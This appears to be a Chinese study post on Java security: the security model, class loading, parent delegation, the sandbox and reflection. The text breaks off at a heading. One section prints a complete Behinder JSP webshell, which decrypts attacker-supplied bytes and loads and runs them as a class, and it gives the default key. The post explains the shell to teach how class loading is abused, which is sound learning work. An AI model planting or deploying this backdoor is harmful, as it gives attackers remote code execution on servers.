JAVA安全模型
初期:在Java中将执行程序分为本地和远程两种,本地代码默认视为可信任的,而远程代码则被看作是不受信的。受信任代码可以访问本地一切资源,非受信任的远程代码则依赖于沙箱机制,将Java代码限定在虚拟机(JVM)特定的运行范围中,并且严格限制代码对本地系统的资源访问。
发展之后:采用沙箱虽然能有效限制代码,但不利于程序拓展,例如一个游戏需要添加拓展功能,采用沙箱制就不利于后续功能的添加,只能重写。因此后续逐步添加了策略(允许用户指定代码对本地资源的访问权限)、类加载器(所有代码都按照用户策略设定,由类加载器加载到虚拟机中权限不同的运行空间)的概念。
最后添加了 域(虚拟机会把所有代码加载到不同的系统域和应用域,系统域部分专门负责与关键资源进行交互,而各个应用域部分则通过系统与的部分代理来对各种需要的资源进行访问,存在于不同域中的类文件只有了当前域的全部权限)的概念,最终形成了如今的java安全模型
类加载机制
Java代码的运行机制可以看成,由java代码经过编译得到 装有字节码的class文件(也就是类文件),再经过类加载机制进行加载、链接和初始化,最后由JVM(java虚拟机)进行内存分配和解释执行(或者是JIT即时编译)。而类加载器ClassLoader的主要作用就是Java类文件的加载。
Java类加载方式分为显式
和隐式
,显式
即我们通常使用Java反射
或者ClassLoader
来动态加载一个类对象,而隐式
指的是类名.方法名()
或new
类实例。显式
类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
在程序运行时,并不会一次性加载所有的class文件进入内存,而是通过Java的类加载机制(ClassLoader)进行动态加载,从而转换成java.lang.Class类的一个实例。
常见的类动态加载方式:Class.forName(“类名”);Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
注意:.java文件与.class文件的关系。.java通过javac编译得到.class文件,相反javap命令则将.class文件反汇编成该class文件对应的类。
类加载流程:(以一个Java的HelloWorld来学习ClassLoader)
1、ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
2、调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
3、如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
4、如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
5、如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
6、如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
7、返回一个被JVM加载后的java.lang.Class类对象。
类加载器种类:
- 启动类加载器(Bootstrap ClassLoader):负责加载存放在$JAVA_HOME\jre\lib下,或被-Xbootclasspath参数指定的路径中的,并且能被虚拟机识别的类库(如rt.jar,所有的java.*开头的类均被Bootstrap ClassLoader加载)。启动类加载器是无法被Java程序直接引用的。
- 扩展类加载器(Extension ClassLoader):该加载器由sun.misc.Launcher$ExtClassLoader实现,它负责加载$JAVA_HOME\jre\lib\ext目录中,或者由java.ext.dirs系统变量指定的路径中的所有类库(如javax.*开头的类),开发者可以直接使用扩展类加载器。
- 应用程序类加载器(Application ClassLoader):该类加载器由sun.misc.Launcher$AppClassLoader来实现,它负责加载用户类路径(ClassPath)所指定的类,开发者可以直接使用该类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
- 自定义类加载器(User ClassLoader):如果有必要,我们还可以加入自定义的类加载器。因为JVM自带的ClassLoader只是懂得从本地文件系统加载标准的java class文件。
一个示例:JSP自定义类加载后门:以冰蝎
为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals
方法实现恶意攻击,其中equals
方法传入的pageContext
对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。示例如下:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
双亲委派机制
创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(但两者必须是非继承关系),且同级ClassLoader跨类加载器调用方法时必须使用反射
通常情况下,我们就可以使用JVM默认三种类加载器进行相互配合使用,且是按需加载方式,就是我们需要使用该类的时候,才会将生成的class文件加载到内存当中生成class对象进行使用,且加载过程使用的是双亲委派模式,即把需要加载的类交由父加载器进行处理。
双亲委派机制:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把请求委托给父加载器去完成,依次向上,因此,所有的类加载请求最终都应该被传递到顶层的启动类加载器中,只有当父加载器在它的搜索范围中没有找到所需的类时,即无法完成该加载,子加载器才会尝试自己去加载该类。(好处:双亲委派机制主要是为了防止加载同一个.class,通过委托确认是否加载,如已加载,无需重复加载,保证数据安全;同时防止核心.class不能被篡改。)
JAVA沙箱机制
Java安全模型的核心就是Java沙箱,沙箱是一个限制程序运行的环境,它将Java代码限定在虚拟机(JVM)特定的运行范围中,并且严格限制代码对本地系统资源访问,通过这样的措施来保证对代码的有效隔离,防止对本地系统造成破坏。
沙箱主要限制系统资源(CPU、内存、文件系统、网络)的访问。不同级别的沙箱对系统资源访问的限制也有差异。
沙箱安全机制的基本组件:
- 字节码校验器(bytecode verifier):确保Java类文件遵循Java语言规范。这样可以帮助Java程序实现内存保护。但并不是所有的类文件都会经过字节码校验,比如核心类。
- 类装载器(class loader):类装载器在3个方面对Java沙箱起作用:1、防止恶意代码去干涉善意的代码;2、守护了被信任的类库边界;3、将代码归入保护域,确定了代码可以进行哪些操作
- 存取控制器(access controller):存取控制器可以控制核心API对操作系统的存取权限,而这个控制的策略设定,可以由用户指定。
- 安全管理器(security manager):是核心API和操作系统之间的主要接口。实现权限控制,比存取控制器优先级高。
- 安全软件包(security package):java.security下的类和扩展包下的类,允许用户为自己的应用增加新的安全特性,包括:安全提供者、消息摘要、数字签名、加密、鉴别
JAVA反射机制
不同于php等其他语言,java拥有反射这一特性,这是他的动态特性体现,Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。(即对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用),如下代码为例:
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
获取类的方法: forName
实例例化类对象的方法: newInstance
获取函数的方法:getMethod
执行函数的方法: invoke
如何获取Class对象: